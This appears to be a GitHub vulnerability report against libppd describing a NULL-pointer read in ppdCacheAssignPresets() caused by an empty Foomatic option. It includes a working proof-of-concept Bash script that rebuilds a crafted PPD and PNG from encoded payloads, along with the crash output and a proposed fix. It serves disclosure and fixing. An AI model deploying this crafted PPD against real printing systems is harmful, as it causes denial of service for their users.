Skip to content

libppd: an empty Foomatic option dereferences choices[0] #81

Description

@kimaiden1984-boop

Summary

ppdCacheAssignPresets() handles Foomatic composite options by reading the
first option choice without verifying that one exists. A 17-line PPD whose
nickname contains Foomatic and whose OpenUI block has no choices causes a
near-NULL read.

Validated libppd source:

  • tested build: 522af8dd135f4dde66b1aac8b9d067808bbe122d
  • current upstream HEAD: fc41539f761286396a7df8aeeda762070192e37e

The relevant ppd/ppd-cache.c is byte-identical at both revisions.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/libppd fc41539f761286396a7df8aeeda762070192e37e.

poc/printer.ppd, SHA-256
c0d1a93baf7748e1307fdb12d7543ecbb05ae73a230276ec95b70082daa6767d,
contains one empty AuditEmpty option. Run ./reproduce.sh; the PNG is a
normal document used only to drive the standalone wrapper.

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: libppd: an empty Foomatic option dereferences choices[0]
# Finding ID: libppd-foomatic-empty-option-null-dereference
# Trigger: ppdCacheAssignPresets() handles Foomatic composite options by
# reading the first option choice without verifying that one exists. A 17-line
# PPD whose nickname contains Foomatic and whose OpenUI block has no choices
# causes a near-NULL read.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.png (85 bytes)
write_file document.png 4f5f710fca2ff97193c3584c9ec5ab6cb1a381a2256c1e649b2eb7d557b47afe <<'POC_PAYLOAD_0'
H4sIAAAAAAACA+sM8HPn5ZLiYmBg4PX0cAkC0pxAzMQBJBjW267kB1Iyni6OIRVzkhMErhf3ar6L
2tHsGHDYTmd76rdlkxksfrILORQWSYPUe7r6uaxzSmgCAEcHHUVVAAAA
POC_PAYLOAD_0

# PPD configuration needed to select the vulnerable filter state.
# Output: printer.ppd (513 bytes)
write_file printer.ppd c0d1a93baf7748e1307fdb12d7543ecbb05ae73a230276ec95b70082daa6767d <<'POC_PAYLOAD_1'
H4sIAAAAAAACA3WQzW7CMBCE73kKixNEIoTSU24IEgmJn0goPXBzHSdYdXYtx65anr7rUDVVRW+r
b8bj3YnLcjtf1/gqMzZ5TlaTKC7Qdty9SNsrhJEqLUe2TFJiew6t5+3Ic2i16q+jkoPAWkGbsd35
tOdOwTKKDxx8w4XzVlrKOhkJpVVAYkuhB6ylPvIuLNTLjhMXrECknWgwwSgt+c5XtO6oxNtfb+Nv
N9IfSQ9iyk247NtYVJdLQo0EbrH2whGc/vt8FnznsZXpKl2mMxaqEd70P8JTkt4JfeWGm7kxWgnK
Qli8Q50EcW55TypL2X1waIT+oKxQULVj8drXyuWdcZ+LYWTDnLGSLj2BjOKtbLjXbvRlrLDYldxK
cFG80djLapf9Toq+AFVSBFwBAgAA
POC_PAYLOAD_1

Result

The ASan build aborts in strncmp from ppdCacheAssignPresets() at
ppd-cache.c:2484. The uninstrumented imagetops process exits 139 before
writing PostScript.

The PPD controls whether the empty option exists, but the observed address is
fixed near NULL. No controlled write, data disclosure, or control-flow
primitive was found. The demonstrated impact is queue-configuration-triggered
denial of service.

Cause and expected behavior

The Foomatic path evaluates option->choices[0].choice at lines 2484-2485
without requiring option->num_choices > 0 or a non-NULL choices array.

Empty options should be rejected while loading the PPD or skipped before the
preset assignment algorithm accesses the first choice.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions